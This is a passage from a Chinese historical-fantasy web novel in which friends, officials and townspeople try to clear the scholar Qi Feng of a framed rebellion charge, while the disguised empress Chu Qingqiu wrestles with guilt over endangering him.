周子陵点头:“正是!我们有要事找赵大人,关于齐兄被抓的事,还请通报一声!”
衙役却面露难色,侧身挡住两人的去路:“二位公子抱歉,赵大人吩咐过,今日不见客。尤其是关于齐公子的事,大人自有安排,让二位不必担心,先回吧。”
“不见客?”徐远急得上前一步,“都什么时候了还不见客?齐兄还在天牢里呢!萧无痕那人心狠手辣,万一对他动刑怎么办?你快让我们进去见赵大人,耽误了正事,你担得起责任吗?”
衙役被徐远的气势吓了一跳,却依旧坚持:“徐公子息怒,不是小的不让进,实在是赵大人有令。大人说,他已经知道二位的来意,也正在想办法,让二位先回去等消息,切勿冲动行事,免得给齐公子添麻烦。”
周子陵皱紧眉头,他知道衙役只是奉命行事,再多说也无用,便放缓语气:“兄弟,我们知道你为难。但齐兄是我们的好友,他被冤枉关在天牢,我们实在放心不下。你再通融一下,就说我们只跟赵大人说几句话,说完就走,绝不耽误他的事。”
衙役犹豫片刻,刚要开口,就见远处传来一阵急促的脚步声,伴随着赵明德熟悉的声音:“周公子,徐公子。”
众人循声望去,只见赵明德身着藏青色官服,在几名衙役的簇拥下快步走来,脸上带着几分疲惫,却依旧强撑着精神。
“赵大人!”周子陵和徐远立刻迎上去。“您总算出来了!齐兄怎么样了?萧无痕有没有对他动手?咱们现在该怎么办才能救他出来?”
赵明德叹了口气,摆了摆手:“二位别急,先跟我去旁边的茶肆,咱们慢慢说。这里人多眼杂,不方便谈论。”
两人连忙点头,跟着赵明德往不远处的“清风茶肆”走去。
茶肆内,伙计见是赵大人,连忙引着三人上了二楼雅间,又端来刚沏好的雨前龙井,识趣地退了出去,还贴心地关上了门。
赵明德端起茶盏,却没喝,只是看着杯中晃动的茶叶,神色凝重:“实不相瞒,齐贤弟的情况,比咱们想象的还要棘手。”
“棘手?”周子陵放下茶盏,身体前倾,“难道萧无痕真的找到‘证据’了?那玉佩明明是伪造的,还有那乾朝余孽的指认,说不定是屈打成招,怎么会棘手?”
赵明德摇头,语气沉重:“萧无痕不仅拿出了那枚伪造的玉佩,还让那余孽画出了所谓的‘联络地点’,说是锦绣阁后院的柴房。刚才我让人去查了,柴房里确实有被翻动过的痕迹,还找到了一张写着‘血月’二字的纸条,上面的字迹,竟与齐贤弟平日里的笔迹有几分相似。”
“什么?!”徐远猛地拍向桌面,茶盏都被震得晃动,“这肯定是萧无痕故意伪造的!齐兄的笔迹我见过,虽然我不懂书法,但也知道他写字苍劲有力,那纸条上的字定是模仿的!”
“我当然知道是伪造的。”赵明德苦笑一声,“可问题是,府城的百姓不知道啊!萧无痕已经把‘人证’‘物证’都摆到了街头,还让锦衣卫四处散播消息,说齐贤弟利用锦绣阁做掩护,暗中联络余孽。现在府城上下,半数人都信了他的话,甚至有商户已经开始退锦绣阁的订单,说怕被牵连。”
他顿了顿,又道:“更麻烦的是,萧无痕还把此事上报给了京城,说抓到了乾朝余孽的核心联络人,请求朝廷派专人来审理。若是朝廷的人来了,咱们就算有再多证据,也难翻案了。毕竟萧无痕是锦衣卫指挥使,朝廷更信任他的话。”
周子陵听得脸色发白,手指无意识地敲击着桌面:“那咱们就眼睁睁看着齐兄被冤枉?卢大人呢?他刚被齐兄救回来,总该帮着说句话吧?”
“卢大人自然会帮。”赵明德点头,“我已经跟他商量过了。他说愿意以自己的官职担保,证明齐贤弟的清白,还会写奏折上报
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朝廷,说明事情的来龙去脉。但萧无痕手握‘证据’,又先一步上报,咱们的奏折能不能送到皇帝面前,还是个未知数。”
徐远急得站起身,在雅间内踱步:“那怎么办?总不能看着齐兄被押去京城受审吧?京城路途遥远,天牢的条件又差,齐兄身子本就不算硬朗,要是在路上出了什么事,咱们怎么对得起他?”
赵明德看着两人焦急的模样,心中也不好受,却还是强压下情绪:“二位放心,我和卢大人已经有了初步的办法。卢大人会以‘身体未愈,需齐贤弟定期复诊’为由,暂时拖延萧无痕送人的时间。我则会尽快找到那名乾朝余孽,想办法让他翻供,说出是萧无痕屈打成招、伪造证据的真相。”
他顿了顿,又道:“另外,我还会联络府城的乡绅和商户,让他们**,证明齐贤弟的为人和对府城的贡献,形成**压力,让萧无痕不敢轻易动手。”
“你们现在要做的,就是先回锦绣阁,安抚好齐贤弟的朋友和伙计,不要让他们冲动行事,尤其是不要去天牢**,免得被萧无痕抓住把柄,反而害了齐贤弟。”
周子陵和徐远对视一眼,虽然心中依旧担忧,却也知道赵明德说得有道理。
他们现在没有证据,贸然行动只会添乱,只能选择相信赵大人和卢大人。
“好,我们听您的。”周子陵点头,“我们会回锦绣阁安抚众人,也会留意府城的动静,若是有什么线索,会第一时间通知您。”
徐远也道:“赵大人,您一定要尽快找到证据,救齐兄出来!我们等着您的好消息!”
赵明德点头:“放心,我会尽力的。你们先回去吧,有消息我会派人通知你们。”
两人不再多言,起身对着赵明德拱手,转身离开了茶肆。
夕阳已经完全落下,夜幕渐渐笼罩府城,街边的灯笼被逐一点亮,昏黄的光芒映在青石板路上。
第两百四十一章 我想放弃了
锦绣阁后院的厢房内,烛火摇曳,映得满室昏黄。
楚清秋靠窗而坐,青丝如瀑垂落肩头,身上的青衫在火光下泛着柔和的光泽。
她手中握着一杯微凉的茶水,目光透过窗棂望向天牢的方向,眉头紧锁,平日里清冷的眼眸中,此刻满是化不开的疲惫。
霍天都坐在八仙桌左侧,一身深蓝色锦袍衬得他身形愈发挺拔,腰间的长刀未卸,手指无意识地摩挲着刀鞘上的纹路,脸上满是凝重。
柳若雪则站在桌旁,青衫袖口绣着的淡竹在烛火下若隐若现,她手中攥着一张纸条,上面是刚整理好的齐枫近期行踪,却久久没有开口,只是时不时看向楚清秋,眼中满是担忧。
厢房内静得只剩下烛火燃烧的“噼啪”声,空气中弥漫着一股压抑的沉默。
“赵大人那边还没消息吗?”霍天都终于打破沉默,“周子陵和徐远去了这么久,就算是通报也该有回音了,不会是出什么意外了吧?”
柳若雪摇了摇头,将手中的纸条放在桌上,轻声道:“应该不会。赵大人毕竟是府城知府,有他从中斡旋,他们两个不会有事。或许是路上遇到了锦衣卫巡查,耽搁了行程。”
她顿了顿,又道:“不过咱们也不能只等消息。萧无痕向来行事狠辣,若是等他把‘证据’坐实,再把齐公子押往京城,咱们就算有再多办法,也回天乏术了。”
“依我之见,不如联系云州商盟的旧部,让他们暗中调查那名所谓的“乾朝余孽”的底细,说不定能找到萧无痕屈打成招的证据。”
霍天都点头,眼中闪过一丝锐利:“我也是这么想的。云州商盟在府城有不少眼线,查个人应该不难。我这就派人去联系,务必在三日之内找到线索。另外,天牢的守卫情况也得摸清楚,若是真到了万不得已的地步,就算是冒险劫狱,也不能让齐公子被押走。”
楚清秋闻言,身体微微一颤,手中的茶杯轻轻晃动,温热的茶水溅出几滴,落在青色的衣袍上,晕开一小片深色的水渍。
她却像是毫无察觉,只是缓缓转过身,面纱下的脸色苍白得近乎透明,眼中满是茫然与疲惫。
“劫狱……”她低声重复着这两个字,“谈何容易。天牢固若金汤,萧无痕又派了锦衣卫日夜值守,咱们就算调动所有旧部,也未必能成功。更何况,一旦劫狱,齐公子‘勾结乱党’的罪名就再也洗不清了,他这辈子都毁了。”
霍天都皱眉,往前一步:“陛下,齐公子是为了帮咱们才落得今日下场,咱们就算拼尽全力,也得救他出来!就算他前途尽毁,也总比没命好!”
楚清秋没有回答,只是走到桌旁,拿起酒壶,给自己倒了一杯烈酒。
她没有用酒杯,而是直接对着壶口饮下,辛辣的酒液呛得她剧烈咳嗽起来,眼泪不受控制地滑落,却被她飞快地用衣袖拭去。
她缓了缓,才再次开口:“我想放弃了。”
“陛下!您说什么?!”
霍天都和柳若雪同时惊呼出声,脸上满是难以置信,像是听到了天方夜谭。
霍天都猛地站起身,腰间的长刀发出轻微的碰撞声,眼中满是震惊。
柳若雪则僵在原地,手中的纸条悄然滑落,飘落在冰冷的地面上,她却浑然不觉,只是怔怔地看着楚清秋,嘴唇哆嗦着,半天说不出话来。
厢房内的烛火依旧摇曳,映得三人的影子在墙壁上忽明忽暗。
楚清秋垂着头,长发遮住了她的脸庞,让人看不清她的神色,只留下满室令人窒息的沉默,和霍天都与柳若雪脸上难以掩饰的震惊。
霍天都猛地上前一步,双手按在桌沿:“陛下!您怎能说放弃!乾国覆灭以来,多少旧部忍辱负重,就盼着有朝一日能重振河山!您是乾国唯一的血脉,若是连您都放弃了,那些为复国牺牲的弟兄,岂不
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是白白丢了性命?”
他眼中满是痛心,语气愈发沉重:“当年先帝托付重任时,您曾说过要护乾国子民周全,要让景国还我乾国一个公道!如今咱们好不容易联络上云州旧部,又有齐公子这般有谋略有胆识的盟友,眼看复国大业有了曙光,您怎能因为一时困境就打退堂鼓?”
柳若雪也快步走到楚清秋身边,弯腰捡起地上的纸条:“陛下,霍将军说得对!复国不仅是您的责任,更是无数乾国百姓的期盼。您还记得去年在云州遇到的那些流民吗?他们吃不饱穿不暖,还被景国官兵欺压,就盼着咱们能早日推翻**,让他们过上安稳日子。”
她顿了顿,又道:“齐公子虽是意外卷入,可他从未抱怨过,反而多次出手相助,帮咱们化解危机。若是您现在放弃,不仅对不起那些苦苦等待的旧部和百姓,更对不起齐公子的付出!他被关在天牢,承受不白之冤,若是知道您要放弃,定会心寒的!”
霍天都也跟着补充:“陛下,萧无痕的陷害只是暂时的,只要咱们找到证据,定能还齐公子清白。就算真到了万不得已的地步,咱们大可以带着齐公子前往云州,凭借云州商盟的势力,照样能继续筹备复国大计。您不能因为这点挫折就动摇,您可是乾国的希望啊!”
柳若雪连连点头,眼中满是期盼:“是啊陛下!咱们已经坚持了这么久,不能在这个时候放弃。您再想想那些为复国牺牲的先辈,想想还在受苦的乾国子民,您一定能重新振作起来的!”
两人你一言我一语的不停劝着,生怕楚清秋打退堂鼓。
楚清秋垂着头,长发遮住了她的脸庞,让人看不清她的神色。
霍天都和柳若雪屏住呼吸,紧紧盯着她。
两人的心脏都快要从嗓子眼里跳出来了!
片刻后,楚清秋缓缓抬起头,一脸古怪,轻轻开口:“谁说我要放弃复国了?”
第两百四十二章 从未敢忘
“谁说我要放弃复国了?”
楚清秋的声音不高,却像一道惊雷,在寂静的厢房内炸开。
烛火被气流掀得微微晃动,将三人的影子在墙壁上拉得忽长忽短,原本凝重的空气瞬间泛起波澜。
霍天都伸在半空的手猛地僵住,脸上的痛心与急切凝固成错愕。
他上前半步,腰间的长刀因动作幅度过大,刀鞘与腰带碰撞出清脆的“咔嗒”声,目光死死锁定楚清秋面纱下的眉眼,似乎想透过那层薄纱,看清她真实的心意。
“陛下……您的意思是?方才您说想放弃,并非要停下复国大计?”
柳若雪也猛地抬起头,攥着纸条的手指因用力而泛白,指节凸显。
她快步走到楚清秋身边,将手中叠好的纸条轻轻放在桌上,满是难以置信的急切:“您可千万别吓我们!方才您话音落下时,我心都快跳出来了。乾国覆灭这么多年,多少旧部忍辱负重,就盼着您能带领我们重振河山,您怎么会突然说放弃?”
楚清秋看着两人紧张的模样,缓缓抬手,将落在脸颊的一缕青丝别到耳后。
烛光下,她露出的一截脖颈白皙如玉,却透着几分难以察觉的疲惫。
她拿起桌上的酒壶,又给自己倒了一杯烈酒,琥珀色的酒液在杯中晃荡,映出她眼底复杂的情绪。
“我若真要放弃复国,当年就不会从乾国皇宫的废墟里爬出来。你我都记得,先帝临终前握着我的手,说乾国可以亡,但皇室的骨气不能丢,我们也见过,云州边境的流民捧着发霉的窝头,说盼着有一天能再穿一次乾国的衣袍。这些,我一天都没敢忘。”
她指尖轻轻摩挲着杯沿,冰凉的触感让她混沌的思绪清醒了几分:“我刚才说想放弃,放弃的从来不是复国大业,而是……继续留在齐枫身边。”
“留在齐公子身边?”霍天都与柳若雪异口同声,满是震惊。
霍天都上前一步,双手按在桌沿:“陛下,您怎能有这种念头?齐公子是咱们在府城最重要的依仗!他帮您隐藏身份,在袁克良栽赃您时,以客栈夜巡记录,人证作伪证为您洗冤。”
“萧无痕追查龙佩时,他故意转移话题,把怀疑都引到自己身上,就连您旧毒复发,也是他彻夜不眠施针压制毒素。没有他,咱们在府城寸步难行,复国计划更是无从谈起!”
柳若雪也跟着点头,她抬手轻轻拍了拍楚清秋的手背:“是啊陛下!他对您的心意,你会看不出来?您现在离开他,不仅会断了咱们的臂膀,更会伤了他的心啊!”
楚清秋低头看着杯中晃动的酒液,目光渐渐变得悠远,像是在回忆过往的点滴。
从拍卖行被齐枫以五百两银子拍下时的错愕,到他发现自己身中奇毒却平静说“我能治”的笃定。
从他每一次为自己解围,到他为了护自己,故意在萧无痕面前与南宫玥,柳若雪周旋,营造“风流纨绔”的假象。
从他察觉自己深夜与柳若雪密谈,却从未追问半句,到他为了帮自己联络霍天都,特意以“丝绸生意”为掩护,甚至主动提出“云州商盟的利润分两成”。
一幕幕画面在脑海中闪过,像是细密的针,轻轻扎在心上,又酸又疼。
“我何尝不知道他是难得的助力?”她轻声开口,“当年我选择留在他身边,最初的确是带着算计,想靠他无能掩盖身份,也好执行计划,后来他是春闱榜首,有赵明德、卢正淳的看重,能帮我避开萧无痕的追查,还能借着他的人脉,暗中联络乾朝旧部。我以为自己能保持清醒,只把他当作一枚棋子,可后来……”
她顿了顿,嘴角勾起一抹自嘲的笑意:“他对我,从来都是真心相待,可我呢?”
楚清秋的声音低了几分,带着难以掩饰的愧疚:“我隐瞒了自己是乾朝女帝的真相,利用他的信任传递复国情报,甚
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至在他与赵明兰、南宫玥周旋时,我还暗自嫉妒,觉得他不该对别的女子那般亲近……我每天都在害怕,害怕我的身份有一天会暴露,害怕我这些见不得光的算计会被他发现,更害怕……我的身份会连累他。”
她抬起头,目光透过窗棂,望向天牢的方向,眼中满是痛色:“现在,这一天终于还是来了。萧无痕抓的那个乾朝余孽是假的,可他能轻易伪造证据栽赃齐枫,不就是因为齐枫与我走得太近吗?若不是我,他还是那个风光无限的春闱榜首,能安安稳稳准备殿试。”
“将来入朝为官,成为一代名臣,而不是像现在这样,被关在阴暗潮湿的天牢里,承受‘通敌叛国’的骂名,连锦绣阁的伙计都要被锦衣卫盘问!”
“陛下,您真的想多了!”柳若雪连忙握住楚清秋的手,“前几日我跟齐公子闲聊,故意提起乾朝余孽的事,试探他的态度。你猜他怎么说?他说青禾身份不简单又如何?她从未害过我,反而处处为我着想,他还说,就算有一天你的身份真的暴露,他也不会怪你,反而会帮你一起想办法应对!”
霍天都也跟着点头:“柳姑娘说得对!齐公子不是那种会被牵连就退缩的人。袁克良买通阿福诬陷他,他能以反将一军,萧无痕用段飞案试探他,他能借着书生不懂江湖的借口化解危机。”
“他那么聪明,就算被关在天牢里,也一定在想办法自证清白。您现在若是离开他,反而会让萧无痕觉得您‘心虚’,更会让齐公子误以为您是在撇清关系,这才是真的害了他!”
他顿了顿,又道:“而且,您想想咱们的复国大计。齐公子熟悉府城的势力分布,知道哪些官员可以拉拢,哪些商户与袁氏有勾结。他还能联络赵明德、卢正淳这些朝廷官员,为咱们争取时间。没有他的帮助,咱们想在府城立足,想找到幽冥教的祭坛,想阻止血月祭,都难如登天!”
第两百四十三章 百姓**
霍天都走到窗边:“您还记得云州的那些旧部吗?霍某在边境联络的北境边军,还等着您的号令,柳姑娘在云州的伶人圈子,已经开始为复国造势,咱们借着丝绸生意囤积的粮草和兵器,也快运到府城了。现在正是复国的关键时候,您若是在这个时候离开齐公子,咱们之前所有的努力,都白费了!”
楚清秋听着两人的劝说,心中的挣扎渐渐平息。
她低头看了看自己被柳若雪握住的手,那掌心的温度一点点传递过来,驱散了她心中的寒意。
是啊,齐枫从来不是会轻易被打倒的人。
他那么聪明,就算被关在天牢里,也一定在观察看守的规律,在想办法传递消息,在等自己去救他。
自己若是现在离开,才是真的辜负了他的信任,也辜负了那些为复国牺牲的乾朝旧部。
她深吸一口气,将杯中剩下的烈酒一饮而尽。
辛辣的酒液灼烧着喉咙,却让她的眼神变得愈发坚定。
她抬手擦了擦嘴角的酒渍,目光扫过霍天都和柳若雪:“你们说得对,我不能在这个时候离开他。萧无痕想借着‘乾朝余孽案’陷害齐枫,想断咱们的臂膀,我偏要让他失望。”
“无论是找那名被屈打成招的余孽翻供,还是查萧无痕伪造证据的线索,甚至是动用云州商盟的力量给京城施压,无论付出什么代价,我都要把齐枫从牢里救出来!”
烛光下,楚清秋的眼神亮得惊人,面纱下的脸庞虽看不清全貌,却透着一股不容侵犯的威严。
霍天都与柳若雪对视一眼,都从对方眼中看到了松一口气的欣慰。
天刚蒙蒙亮,府城的晨雾还未散尽,青石板路上的露水沾湿了行人的布鞋,锦衣卫驿站那两扇朱红大门外,却已传来一阵窸窸窣窣的响动。
守在门口的两名锦衣卫打了个哈欠,腰间的长刀随着动作轻轻晃动,其中一人揉着惺忪的睡眼,不满地朝着声响处瞥去:“大清早的吵什么?不知道这是萧大人的住处?”
可当他看清眼前的景象时,瞬间清醒过来,手猛地按在刀柄上,警惕地盯着前方。
只见驿站门前的空地上,密密麻麻跪满了百姓,从门槛一直延伸到街角,黑压压的一片,少说也有数百人。
有穿着粗布短打的杂货铺伙计,裤脚还沾着昨夜的泥点,有提着竹篮的农妇,篮子里装着刚从自家菜园摘的青菜。
有须发皆白的老者,手里拄着磨得光滑的木杖,还有几个梳着双丫髻的孩童,被父母抱在怀里,小手里攥着用红绳系着的木牌,上面歪歪扭扭写着“齐公子”三个字。
他们大多举着自制的木牌,有的用炭笔写着“齐公子冤枉”,有的画着锦绣阁的简易轮廓,还有的贴着一张泛黄的纸,上面抄着齐枫春闱时写的诗,显然是特意为齐枫**而来。
“你们要干什么?”一名锦衣卫上前一步,声音陡然拔高,“这是锦衣卫驿站,不是你们撒野的地方!赶紧起来,再跪在这里,别怪我们动手!”
可百姓们却纹丝不动,为首的是个年近六旬的老者,身着洗得发白的青色长衫,正是南街“李家茶肆”的李掌柜。
他缓缓撑着拐杖站起身,虽身形佝偻,眼神却格外坚定,对着锦衣卫拱了拱手:“差爷莫急,我们不是来**的,是来求见萧大人的。齐公子是春闱榜首,是府城的才子,他做了多少好事,咱们百姓都看在眼里,绝不可能是乾朝余孽!求萧大人开恩,查清真相,还齐公子一个清白!”
“没错!齐公子是好人!”人群中立刻响起附和声,一个穿着短打的青年往前凑了凑,“今年我家铺子遭了火灾,所有家当都烧没了,是齐公子让人送了二十两银子,还帮我在锦绣阁附近找了间小铺子,我才能重新做生意!这样的人,怎么会是反贼?”
“还有我!”一个农妇抱着孩子,眼眶通红,“我儿子上个月得了急病,高烧不退,府城的大夫都摇头说没救
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,是齐公子路过,用几根银针扎了几下,孩子当天就退了烧!萧大人要是把齐公子抓错了,就是寒了咱们府城百姓的心啊!”
“齐公子还帮咱们南街修过路呢!”一个挑着担子的货郎补充道,“上个月南街的石板路坏了好几块,下雨就积水,是齐公子出钱请人修的,现在走起来多顺畅!他要是反贼,能这么贴心为咱们百姓着想吗?”
百姓们你一言我一语,诉说着齐枫来府城后做的好事,声音越来越大,像滚雪球似的,吸引了不少晨起的行人。
有人停下脚步打听情况,得知是为齐枫**,也纷纷加入队伍,有的回家取了木牌,有的直接跪在地上,齐声喊道:“还齐公子清白!还齐枫公道!”
喊声震天,在清晨的街道上回荡,连驿站内正在翻阅卷宗的萧无痕都被惊动了。
他刚洗漱完毕,案上还放着刚沏好的雨前龙井,手中拿着关于齐枫的“罪证”。
那张伪造的“血月”纸条,正准备仔细核对笔迹,就听到门外的喧哗声,眉头瞬间拧成一个“川”字,对着门外冷声道:“外面何事喧哗?”
一名锦衣卫连忙推门进来,躬身行礼时手都在发颤:“大人,外面来了好多百姓,都是为齐枫**的,说齐枫是好人,不可能是乾朝余孽,还让您放了齐枫,查清真相。”
“为齐枫**?”萧无痕手中的纸条微微一顿,眼中闪过一丝冷意。
他倒是没想到,齐枫不过来府城几个月,竟能收获这么多民心。
在他看来,这些所谓的“好事”,不过是齐枫故意营造的假象。
用小恩小惠收买人心,为日后勾结反贼铺路。
他冷哼一声,将纸条扔在案上,起身整理了一下红衣的领口:“走,出去看看。”
萧无痕身着玄色镶红边的锦袍,腰间佩着那柄泛着冷光的圆月弯刀,快步走出驿站。
晨雾中,他的身影挺拔如松,却透着一股生人勿近的寒意。
第两百四十四章 太过巧合
刚到门口,就见数百名百姓齐刷刷地跪在地上,手中的木牌在晨光下格外显眼,齐声喊着“还齐公子清白”,声音洪亮得震得人耳膜发疼。
他的目光扫过人群,最后落在李掌柜身上,语气冰冷得像结了冰:“李掌柜,你在南街开茶肆多年,也算知法懂礼,如今带着这么多人围堵锦衣卫驿站,可知这是‘妨碍公务’的重罪?”
李掌柜毫不畏惧,撑着拐杖缓缓站直身体,对着萧无痕再次拱手,声音虽有些沙哑,却字字清晰:“萧大人,老民不敢妨碍公务,只是想替齐公子说句公道话。齐公子今年开春才来府城,一来就中了春闱榜首,是府城的荣耀。”
“他开锦绣阁时,给南街的商户都送了新丝绸的样布,说大家一起把生意做好,上个月府城闹粮荒,是他让锦绣阁的伙计在门口设粥棚,每天施粥到午时,救了不少快饿死的百姓。”
“就连袁氏的人欺负咱们小商户,也是他出面调解,帮大家讨回了损失。这样的人,怎么会是乾朝余孽?”
“是啊萧大人!”人群中立刻有人跟着喊道,“齐公子待人谦和,上次我家孩子在锦绣阁门口摔了一跤,他还亲自让人拿了药膏,叮嘱我好好照顾孩子。这样的好人,您可不能冤枉他啊!”
“那名什么余孽说不定是被屈打成招的!萧大人,您再查查,别让真凶逍遥法外,却把好人关起来!”
萧无痕看着眼前群情激愤的百姓,脸色愈发阴沉。
他知道,这些百姓大多是真心感激齐枫,可在他眼里,这份“民心”不过是齐枫的“伪装”。
他往前一步,红衣的下摆扫过地上的露水:“诸位的心意,本官心领了。齐枫在府城做的事,本官也有所耳闻。但律法面前,人人平等,就算他捐过粮、修过路,也不能排除他是乾朝余孽的可能。”
他顿了顿,目光扫过众人,嘴角带着几分不易察觉的嘲讽:“说不定,他做这些‘好事’,就是为了收买民心,让大家放松警惕,方便他暗中联络反贼,筹备不轨之事!”
“本官办案,凭的是证据,不是你们口中的‘好人’名声。那名余孽已经指认齐枫,还有刻着‘齐’字的玉佩、写着‘血月’的纸条为证,这些都不是空穴来风。”
“至于齐枫是否清白,本官会继续调查,不会冤枉一个好人,也不会放过一个坏人。”
萧无痕的声音陡然拔高,带着几分警告,“现在,还请诸位立刻散开,不要在这里**。若是再纠缠,休怪本官以‘妨碍公务’论处,到时候抓了人,可就不好看了!”
百姓们闻言,脸上露出失望的神色,不少人攥紧了手中的木牌,却依旧没有起身。
李掌柜还想再说些什么,却见萧无痕转身就往驿站内走,连一个眼神都懒得再给。
厚重的朱红大门在他身后缓缓关上,“吱呀”的声响像是一盆冷水,浇灭了百姓们最后的希望。
门口的锦衣卫见状,立刻上前驱赶:“都听到了吗?萧大人说了会调查,赶紧散了!再不走,我们可就不客气了!”
百姓们面面相觑,虽满心不甘,却也知道再僵持下去只会自讨苦吃,只能缓缓起身。
李掌柜看着紧闭的驿站大门,重重地叹了口气,拐杖在青石板上敲出沉闷的声响:“齐公子是个好人,咱们不能就这么算了。等过几日,咱们再找机会求萧大人,总能还齐公子一个清白。”
众人纷纷点头,一步三回头地离开。
与此同时,府衙的议事厅内,气氛也格外凝重。
赵明德身着藏青色官服,坐在主位上,手中捏着一份刚送来的密报,眉头紧锁,脸色阴沉得能滴出水来。
卢正淳坐在他身侧,身上盖着一条素色薄毯,脸色虽仍有些苍白,却比昨日好了许多。
他手中端着一杯温好的蜂蜜水,目光落在赵明德手中的密报上,眼中满是担忧。
“萧无痕这是铁了心要置齐贤弟于死地啊!”赵明德猛地将密报拍在桌案上,声音带着压抑不住的愤怒。
“
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他竟然在给京城的奏折里说,齐贤弟是‘乾朝余孽的核心联络人’,还说齐贤弟‘利用春闱榜首的身份,拉拢府城官员,暗中筹备谋反’,甚至连咱们这些为齐贤弟说话的人,都被他说成是‘被蒙蔽的糊涂官’!这简直是颠倒黑白!”
卢正淳放下手中的蜂蜜水,忍不住咳嗽了两声:“萧无痕向来为了邀功不择手段,他这么写,一是想让京城的人觉得他‘功绩卓著’,二是想趁机打压咱们这些不配合他的官员。”
“现在奏折已经送出去了,京城的钦差随时可能到,咱们得尽快找到证据,不然等钦差来了,齐贤弟就更难翻身了。”
赵明德点了点头,手指轻轻敲击着桌案:“我已经让人去查那名‘乾朝余孽’的底细了,这里面肯定有猫腻。”
卢正淳眼中闪过一丝希望,身体微微前倾:“那查到什么线索了吗?那人现在被关在哪?咱们能不能派人去见见他?”
“难啊!”赵明德叹了口气,端起桌上的茶水一饮而尽,带着几分无奈。
“萧无痕把他看得比什么都紧,派了四个锦衣卫日夜看守,还把他关在天牢最里面的牢房,我的人根本靠近不了。而且,萧无痕还对外宣称,那人受了刑伤,病情加重,需要静养,不许任何人探视,明摆着是怕他翻供。”
两人陷入沉默,议事厅内只剩下赵明德手指敲击桌案的“笃笃”声,和卢正淳偶尔压抑的咳嗽声。
窗外的阳光渐渐升高,透过窗棂洒在案上的密报上,映得“乾朝余孽”四个字格外刺眼。
过了许久,赵明德忽然抬起头,目光紧紧盯着卢正淳,带着几分不确定,又带着几分猜测。
“卢大人,你有没有觉得,这件事从头到尾都透着古怪?那名所谓的乾朝余孽出现的时机太巧了,正好在齐贤弟救了你,又帮着咱们稳定了府城商户人心之后,萧无痕就突然抓到了他,还让他精准指认齐贤弟是核心联络人,这未免也太巧合了些。”
卢正淳愣了一下。
第二百四十五章 幕后推手
卢正淳轻轻摇了摇头,喉间因伤势未愈泛起一阵痒意,忍不住低咳两声,声音带着几分沙哑,却异常冷静。
“赵大人,你这猜测虽有道理,却不太可能。萧无痕虽是锦衣卫指挥使,行事狠辣,却也不敢公然自导自演乾朝余孽案。”
“为何?”赵明德追问,身体不自觉地前倾,“他连伪造玉佩、纸条的事都做得出来,还有什么不敢的?难不成他还怕京城追责?”
“他怕的,正是京城追责。”卢正淳缓缓放下水杯,目光落在案上摊开的密报上,那上面记录着萧无痕近几日的行踪。
“萧无痕的根基在京城,靠的是查案有功在陛下跟前立足。他可以栽赃齐贤弟,却绝不会拿乾朝余孽这种大案开玩笑,此案涉及前朝余党,一旦日后被京城查出是自导自演!”
“他不仅会丢了锦衣卫指挥使的官职,甚至可能被冠上欺君罔上的罪名,连累整个萧家。他虽贪功,却还没到敢拿全族性命赌的地步。”
他顿了顿,指尖点在密报中“张老三狱中异动”的字样上,语气多了几分深意。
“但这件事,十有**是他默许的。你想,那名余孽张老三本是府城的流浪汉,去年因偷窃被抓进府衙大牢,一直无人问津,却偏偏在齐贤弟救了我、又帮官府稳定商户人心之后,被萧无痕的人从牢里提了出来。”
“后续的指认物证更是他一手把控,若不是他默许,谁能有这么大的胆子,敢栽赃春闱榜首?”
赵明德眉头皱得更紧,手指无意识地攥紧了官袍的衣角:“你的意思是,有人在背后推波助澜,而萧无痕故意睁一只眼闭一只眼?会是谁?袁氏?毕竟袁克良因齐贤弟倒台,袁振山肯定恨他入骨。”
卢正淳沉默片刻,缓缓摇头,分析道:“袁氏的嫌疑最大,却也最不可能。袁克良因私藏龙佩、勾结余孽的罪名倒台,袁氏现在正处于风口浪尖,朝廷派来的眼线盯着袁府的一举一动。”
“他们若是此刻跳出来陷害齐贤弟,一旦被查出,只会让袁氏雪上加霜,甚至可能被冠上通敌的罪名,彻底覆灭。”
“袁振山老谋深算,最懂一朝被蛇咬,十年怕井绳的道理,他现在最该做的,是收敛锋芒,暗中恢复袁氏元气,而不是主动惹祸。再说,袁克良在袁氏本就不受重视,袁振山未必会为了一个废物,赌上整个家族的前途。”
赵明德恍然大悟,拍了下桌案,青石板桌面发出沉闷的声响。
“你这么一说,还真是这个理!袁振山那老狐狸,怎么会在这个时候自寻死路?那排除了袁氏,又会是谁?总不能是凭空冒出来的敌人吧?”
卢正淳的目光陡然变得锐利,像是穿透了议事厅的墙壁,望向城西那片笼罩在阴云下的乱葬岗。
“除了袁氏,还有一股势力,最不希望齐贤弟活着——幽冥教。”
“幽冥教?!”赵明德猛地站起身,椅子腿在地上划出刺耳的“吱呀”声,他快步走到卢正淳身边,眼中满是震惊。
“你是说,陷害齐贤弟的是幽冥教?他们为什么要这么做?齐贤弟不过是个刚到府城的书生,跟他们无冤无仇!”
“无冤无仇?”卢正淳冷笑一声,眼中满是寒意,“齐贤弟坏了他们多少事?李家村屠村案,是齐贤弟看出尸傀儡术的端倪,让咱们提前知晓幽冥教的手段。”
“甚至连我中的噬魂毒,也是齐贤弟用九阳针和浩然真气解开的,对幽冥教来说,齐贤弟就是他们的眼中钉、肉中刺。”
他顿了顿,继续分析:“幽冥教最擅长借刀**。他们知道萧无痕对齐贤弟本就有疑虑,齐贤弟太懂阵法、识邪符,还能化解幽冥教的邪术,萧无痕早就怀疑他身份不简单。”
“幽冥教正好借这个机会,让张老三指认齐贤弟是乾朝余孽,再伪造玉佩、纸条当证据,既除掉了心腹大患,
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又能借萧无痕的手打压朝廷势力,可谓一举两得。”
“而萧无痕呢?”卢正淳的语气多了几分嘲讽。
“他本就对齐贤弟的才华和民心心存忌惮,齐贤弟刚来府城几个月,就深得赵大人你和商户们的信任,甚至连百姓都为他**,这对想掌控府城的萧无痕来说,本就是潜在的威胁。”
“幽冥教递来的证据,正好合了他的心意,既能除掉齐贤弟,又能借着破获反贼案向京城邀功,他自然愿意默许这一切,甚至暗中推波助澜,让罪证更确凿。”
赵明德听完,缓缓坐下,手指在桌案上轻轻敲击,脸上的愤怒渐渐褪去,取而代之的是凝重。
“你这么分析,句句在理。这么说来,齐贤弟这次是被幽冥教和萧无痕联手算计了?那咱们现在该怎么办?总不能眼睁睁看着齐贤弟被冤枉,还让幽冥教的血月祭阴谋得逞吧?”
“急不得。”卢正淳摇了摇头,端起水杯抿了一口蜂蜜水,润了润沙哑的喉咙。
